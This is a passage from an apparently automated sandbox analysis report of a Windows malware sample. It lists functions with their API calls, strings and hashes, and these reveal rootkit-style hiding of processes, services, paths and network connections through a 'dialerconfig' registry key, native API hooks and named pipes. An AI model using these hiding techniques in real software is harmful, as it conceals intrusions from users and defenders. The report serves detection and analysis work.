Instruction ID: 1d4374e9f4da2fbd7a364187111027bf5cc04f493b928ab6b63e078339675821
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: A8110D32214B8482EB618B19E44839D77E5FF98B98F184221DE8D17B65EF39C555CB00

Function 00000216ACFDD65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000216ACFDD68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000216ACFDD6A7

Strings

InitializeCriticalSectionEx, xrefs: 00000216ACFDD681

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 170e7a292dd03f5192a0dcd1811eaeade1e40729cd41b12708d6730998e7bd93
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 6CF0E23171078892E7159B8DF40C6DC277AAF98B84F485125AE4927B14CE38C898C750

Function 00000216AAA7CB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000216AAA7CBC5

Strings

November, xrefs: 00000216AAA7CBA8, 00000216AAA7CBB2
October, xrefs: 00000216AAA7CBBE

Memory Dump Source

Source File: 00000008.00000002.2281866973.00000216AAA70000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000216AAA70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216aaa70000_conhost.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: f9c337cce78e9797e2c21d4d0fe2a269e7604ba5253d9560db1fcf151f010a1a
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction Fuzzy Hash: 26E0927120058192FB169B62F46C6EE62E19FB8740F596023AF292625ACF3AC8868340

Function 00000216ACFDD608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000216ACFDD631
TlsSetValue.KERNEL32 ref: 00000216ACFDD648

Strings

FlsSetValue, xrefs: 00000216ACFDD61E

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 053b1d0efd06a5d8159bc87454e9169ee8eeebda0727b3a74bb66022f22d15c9
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: 7CE0927130564892EB164B9CF80C7EC236BBFE9784F5C4126E9092B355CE38C859C710

Function 00000216ACFD1D60 Relevance: 5.1, APIs: 4, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216ACFD1D9B
HeapAlloc.KERNEL32 ref: 00000216ACFD1DAA
GetProcessHeap.KERNEL32 ref: 00000216ACFD1E1E
HeapFree.KERNEL32 ref: 00000216ACFD1E2C

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: dfc672f108d8f45512eb83d812de810d4a61c01d004c26b27f0f4b44db352af5
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 5B217132605B9485EF128F5DA40C2DEB3E5FF99BA8F094114DE8C57B15EB78D5468700

Function 00000216ACFD1274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216ACFD127A
HeapAlloc.KERNEL32 ref: 00000216ACFD1289
GetProcessHeap.KERNEL32 ref: 00000216ACFD12A3
HeapAlloc.KERNEL32 ref: 00000216ACFD12B4

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 1a72857e07bb02738ddd9c9fd40567e4250ca26abc02a7f87285374e26e285e6
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: DFE0EDB1A1260486E7049F6AD81C39D76E6FF9AF51F4EC028CD4907350DF7D9499C750

Analysis Process: ServerComponenthostMonitorDll.exePID: 6808, Parent PID: 6472COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	54.4%
Total number of Nodes:	103
Total number of Limit Nodes:	20

Executed Functions

Function 1AFF2CDC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 264
stringfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDeviceIoControlFile.NTDLL ref: 1AFF2D47
GetModuleHandleA.KERNEL32 ref: 1AFF2D80
lstrlenW.KERNEL32 ref: 1AFF2FBA

Part of subcall function 1AFF1A14: OpenProcess.KERNEL32 ref: 1AFF1A3A
Part of subcall function 1AFF1A14: K32GetModuleFileNameExW.KERNEL32 ref: 1AFF1A58
Part of subcall function 1AFF1A14: PathFindFileNameW.SHLWAPI ref: 1AFF1A67
Part of subcall function 1AFF1A14: lstrlenW.KERNEL32 ref: 1AFF1A73
Part of subcall function 1AFF1A14: StrCpyW.SHLWAPI ref: 1AFF1A86
Part of subcall function 1AFF1A14: CloseHandle.KERNEL32 ref: 1AFF1A94

GetProcAddress.KERNEL32 ref: 1AFF2D95

Part of subcall function 1AFF1554: StrCmpIW.SHLWAPI ref: 1AFF1585

Part of subcall function 1AFF3930: StrCmpNIW.SHLWAPI ref: 1AFF3948

StrCmpNIW.SHLWAPI ref: 1AFF2DD8
lstrlenW.KERNEL32 ref: 1AFF2F00

Strings

NtQueryObject, xrefs: 1AFF2D8B
\Device\Nsi, xrefs: 1AFF2DCB
ntdll.dll, xrefs: 1AFF2D79

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Filelstrlen$HandleModuleName$AddressCloseControlDeviceFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 1201441540-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: 4d616da9b08f6d6ecf3e93fcb18346bc56ace7190a6868f9a16412dfb249e728
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: D1A1F03B321B9582DB09CF25C45079AB3A8FB88B88F515917EE4953B78EF35C980C750

Function 1AFF23F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 52
filethreadnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 1AFF2405
GetCurrentProcessId.KERNEL32 ref: 1AFF240F
NtResumeThread.NTDLL ref: 1AFF24C4

Part of subcall function 1AFF19AC: OpenProcess.KERNEL32 ref: 1AFF19CA
Part of subcall function 1AFF19AC: IsWow64Process.KERNEL32 ref: 1AFF19E0
Part of subcall function 1AFF19AC: CloseHandle.KERNEL32 ref: 1AFF19FB

CreateFileW.KERNEL32 ref: 1AFF2468
WriteFile.KERNEL32 ref: 1AFF2490
ReadFile.KERNEL32 ref: 1AFF24AF
CloseHandle.KERNEL32 ref: 1AFF24B8

Strings

\\.\pipe\dialerchildproc64, xrefs: 1AFF2438
\\.\pipe\dialerchildproc32, xrefs: 1AFF243F

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Process$File$CloseHandleThread$CreateCurrentOpenReadResumeWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2222519123-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 3ef86b18590cfcde4ed01c34035d5a9f4ac43790d01f7bed47f902e9da8f3290
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 1A213836618B4483EB11DB25F5583AB77A0F78DBE4F904215EA9902BA8DF7CC189CB00

Function 1AFF26F0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 184
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFileEx.NTDLL ref: 1AFF2769
GetFileType.KERNEL32 ref: 1AFF27D4
StrCpyW.SHLWAPI ref: 1AFF27ED

Strings

\\.\pipe\, xrefs: 1AFF27DF

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: File$DirectoryQueryType
String ID: \\.\pipe\
API String ID: 4175507832-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: 67bb0b9a6d86aff1f6a2dbac780cf3b43bf80c6aff467987ed6a2b1ebae090ec
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: 6861CB3B614BC686CB24DF2699903EAB795F789BC4F814827DE8A47B28DF35C604C740

Function 1AFF21CC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 1AFF21F7
StrCmpNIW.SHLWAPI ref: 1AFF2270

Part of subcall function 1AFF30B4: GetProcessHeap.KERNEL32 ref: 1AFF30D7
Part of subcall function 1AFF30B4: RtlAllocateHeap.NTDLL ref: 1AFF30EA
Part of subcall function 1AFF30B4: StrCmpNIW.SHLWAPI ref: 1AFF316B
Part of subcall function 1AFF30B4: GetProcessHeap.KERNEL32 ref: 1AFF31D1
Part of subcall function 1AFF30B4: HeapFree.KERNEL32 ref: 1AFF31DF

Strings

dialer, xrefs: 1AFF2269
S, xrefs: 1AFF2391

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$Process$AllocateFreeInformationQuerySystem
String ID: S$dialer
API String ID: 4073547687-3873981283
Opcode ID: a6338c422d047c8eae01fcbeb907d454b031cf1b87c932ac2c197f7c23e38add
Instruction ID: 22823929b6fe10d94c96c35426d98dd2c456f2cc4dd224c2a1f01bc0ae7f932e
Opcode Fuzzy Hash: a6338c422d047c8eae01fcbeb907d454b031cf1b87c932ac2c197f7c23e38add
Instruction Fuzzy Hash: A151057BB10B69C6E710CFAAD8406AD73B4FB04794B429D26EF5463B24EB35D891C720

Function 1AFF24DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFile.NTDLL ref: 1AFF2554
GetFileType.KERNEL32 ref: 1AFF25C3
StrCpyW.SHLWAPI ref: 1AFF25DA

Strings

\\.\pipe\, xrefs: 1AFF25CE

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: File$DirectoryQueryType
String ID: \\.\pipe\
API String ID: 4175507832-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: 34f315234c8ce74e05e423950b85a87b51cd6879dea509002862d6a134b053ce
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 9341F63B7087C582CA21DF29A99436EB751F795B80F424926CE9A47F38DF3AD405CB50

Function 1AFF29B4 Relevance: 3.1, APIs: 2, Instructions: 66
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateKey.NTDLL ref: 1AFF29F3
NtEnumerateKey.NTDLL ref: 1AFF2A2B

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Enumerate
String ID:
API String ID: 304946047-0
Opcode ID: 28187458d9fd4ab8547a98169ab3048fbb9103ded671a54f01af97c29d48ccde
Instruction ID: 7caea0fd9e0090d8fa2b4c13dbf4dcddd7bb25860545e305d3d5e4b6662f347a
Opcode Fuzzy Hash: 28187458d9fd4ab8547a98169ab3048fbb9103ded671a54f01af97c29d48ccde
Instruction Fuzzy Hash: 6C119D3B60479686D774CF16B88060BB3A4F788F90F524827EE9983734EF38C4468744

Function 1AFF2A7C Relevance: 3.1, APIs: 2, Instructions: 64
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 1AFF2ABB
NtEnumerateValueKey.NTDLL ref: 1AFF2AEF

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: f0e10426e681e7f6cf899e4393c9bf8be204e3db0faa1dd7183fda82dc324521
Instruction ID: 7f5302c4a4924af7a5b0be40ebc779640613b65ec62f5a087316a89b2a317c21
Opcode Fuzzy Hash: f0e10426e681e7f6cf899e4393c9bf8be204e3db0faa1dd7183fda82dc324521
Instruction Fuzzy Hash: 80119E3B704B9582D762DF1ABC4061BB7A4F388B94F414926EF8983724EF75C486C740

Function 00007FFD9BEC0149 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7334aa76e20f5f3d2de1d2865bf28f35a71f47aa3f31541d40965cd51f69b05c
Instruction ID: 634cfaabbc10c54d6e449fb1cbaf48174c8f3621f95c973171f65b485bda8361
Opcode Fuzzy Hash: 7334aa76e20f5f3d2de1d2865bf28f35a71f47aa3f31541d40965cd51f69b05c
Instruction Fuzzy Hash: 99D13331B0E94E4FE778EA6C88665B937C4FF48711B0502B9D05EC75B3DE29AE068781

Function 00007FFD9BAC0D78 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4341668c6a81b677f26f96afa21b7d45575a6ecd0046044065491d094f1c2bf4
Instruction ID: 386f8094c62a568b878ad66656c7116dbe2d4bd0b8b67b1faf91dfdad643f08a
Opcode Fuzzy Hash: 4341668c6a81b677f26f96afa21b7d45575a6ecd0046044065491d094f1c2bf4
Instruction Fuzzy Hash: 1D91C272A18A8D4FD75ADF6888657A97FE1FF99314F0002BED049C76D6CFB824008740

Function 1AFF1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 1AFF165B
RtlAllocateHeap.NTDLL ref: 1AFF166A

Part of subcall function 1AFF1274: GetProcessHeap.KERNEL32 ref: 1AFF127A
Part of subcall function 1AFF1274: RtlAllocateHeap.NTDLL ref: 1AFF1289
Part of subcall function 1AFF1274: GetProcessHeap.KERNEL32 ref: 1AFF12A3
Part of subcall function 1AFF1274: RtlAllocateHeap.NTDLL ref: 1AFF12B4

Part of subcall function 1AFF1000: GetProcessHeap.KERNEL32 ref: 1AFF1006
Part of subcall function 1AFF1000: RtlAllocateHeap.NTDLL ref: 1AFF1015
Part of subcall function 1AFF1000: GetProcessHeap.KERNEL32 ref: 1AFF1028
Part of subcall function 1AFF1000: RtlAllocateHeap.NTDLL ref: 1AFF1037

RegOpenKeyExW.ADVAPI32 ref: 1AFF16DA
RegOpenKeyExW.ADVAPI32 ref: 1AFF1707
RegCloseKey.ADVAPI32 ref: 1AFF1721
RegOpenKeyExW.ADVAPI32 ref: 1AFF1741
RegCloseKey.ADVAPI32 ref: 1AFF175C
RegOpenKeyExW.ADVAPI32 ref: 1AFF177C
RegCloseKey.ADVAPI32 ref: 1AFF1797
RegOpenKeyExW.ADVAPI32 ref: 1AFF17B7
RegCloseKey.ADVAPI32 ref: 1AFF17D2
RegOpenKeyExW.ADVAPI32 ref: 1AFF17F2
RegCloseKey.ADVAPI32 ref: 1AFF180D
RegOpenKeyExW.ADVAPI32 ref: 1AFF182D
RegCloseKey.ADVAPI32 ref: 1AFF1848
RegOpenKeyExW.ADVAPI32 ref: 1AFF1868
RegCloseKey.ADVAPI32 ref: 1AFF1883
RegOpenKeyExW.ADVAPI32 ref: 1AFF18A3
RegCloseKey.ADVAPI32 ref: 1AFF18BE
RegCloseKey.ADVAPI32 ref: 1AFF18C8

Part of subcall function 1AFF12C8: RegQueryInfoKeyW.ADVAPI32 ref: 1AFF1326
Part of subcall function 1AFF12C8: GetProcessHeap.KERNEL32 ref: 1AFF1334
Part of subcall function 1AFF12C8: RtlAllocateHeap.NTDLL ref: 1AFF1345
Part of subcall function 1AFF12C8: RegEnumValueW.ADVAPI32 ref: 1AFF13A1
Part of subcall function 1AFF12C8: GetProcessHeap.KERNEL32 ref: 1AFF13E9
Part of subcall function 1AFF12C8: RtlAllocateHeap.NTDLL ref: 1AFF13F7
Part of subcall function 1AFF12C8: GetProcessHeap.KERNEL32 ref: 1AFF141B
Part of subcall function 1AFF12C8: HeapFree.KERNEL32 ref: 1AFF1429
Part of subcall function 1AFF12C8: lstrlenW.KERNEL32 ref: 1AFF1432
Part of subcall function 1AFF12C8: GetProcessHeap.KERNEL32 ref: 1AFF1440
Part of subcall function 1AFF12C8: RtlAllocateHeap.NTDLL ref: 1AFF144E

Strings

service_names, xrefs: 1AFF17EB
udp, xrefs: 1AFF189C
SOFTWARE\dialerconfig, xrefs: 1AFF16BA
tcp_local, xrefs: 1AFF1826
process_names, xrefs: 1AFF1775
startup, xrefs: 1AFF16FD
paths, xrefs: 1AFF17B0
tcp_remote, xrefs: 1AFF1861
pid, xrefs: 1AFF173A

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Allocate$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2011442324-2879589442
Opcode ID: 3f4d5a7ab15329cbb7b172142327082ccb78e577aaea383aca5eb264960cb7f6
Instruction ID: fd2dda93142674f907eaf09fe0d745bc9c9b0951af71e1a4337d2d96959dc427
Opcode Fuzzy Hash: 3f4d5a7ab15329cbb7b172142327082ccb78e577aaea383aca5eb264960cb7f6
Instruction Fuzzy Hash: 5C71F33B711B5186EB12AF66E89079A37A4FB89BC8F405622EE4D57B28DF38C445C704

Function 1AFF1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 1AFF1AD8
StrCmpNIW.SHLWAPI ref: 1AFF1AF2
lstrlenW.KERNEL32 ref: 1AFF1B01
StrCpyW.SHLWAPI ref: 1AFF1B16

Strings

\\?\, xrefs: 1AFF1AE6

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 29c552a73d88389bae0a91c415bba8e98603038c0b64facbdf7a90e2b5290b45
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 5BF03C3230478192E7229B21E4D439B7720F74CBC8F848031DB4986964DF6CC688CB00

Function 1AFF3AC0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 1AFF3B46
VirtualAlloc.KERNEL32 ref: 1AFF3B80

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: 6886080a5e420ef5f5b7cbc5977cea8f3533897ae81ff2ee1a15dfd3048d8c27
Instruction ID: 19f3444bc4a402e61b68216f2b9567748532572c13f4c1a0ab1ea8628616ebe1
Opcode Fuzzy Hash: 6886080a5e420ef5f5b7cbc5977cea8f3533897ae81ff2ee1a15dfd3048d8c27
Instruction Fuzzy Hash: 2A21C73321AB8892DB35DB15E06430AB6A4F388784F500F26EADD47B78DF7DC2818B10

Function 1AFF3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 1AFF347A
PathFindFileNameW.SHLWAPI ref: 1AFF3489

Part of subcall function 1AFF3930: StrCmpNIW.SHLWAPI ref: 1AFF3948

Part of subcall function 1AFF3878: GetModuleHandleW.KERNEL32 ref: 1AFF3886
Part of subcall function 1AFF3878: GetCurrentProcess.KERNEL32 ref: 1AFF38B4
Part of subcall function 1AFF3878: VirtualProtectEx.KERNEL32 ref: 1AFF38D6
Part of subcall function 1AFF3878: GetCurrentProcess.KERNEL32 ref: 1AFF38F4
Part of subcall function 1AFF3878: VirtualProtectEx.KERNEL32 ref: 1AFF3915

CreateThread.KERNEL32 ref: 1AFF34D7

Part of subcall function 1AFF1EB4: GetCurrentThread.KERNEL32 ref: 1AFF1EBF

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: 8076ff3690def34252d1b92eb89665c40e1ffdfa05cd2efeefeaad30ac220e51
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 3D01B573B1474292E732E731F8467973391FB4C384F440A29DA2586574EF3DC0848250

Function 1AFFD130 Relevance: 3.1, APIs: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

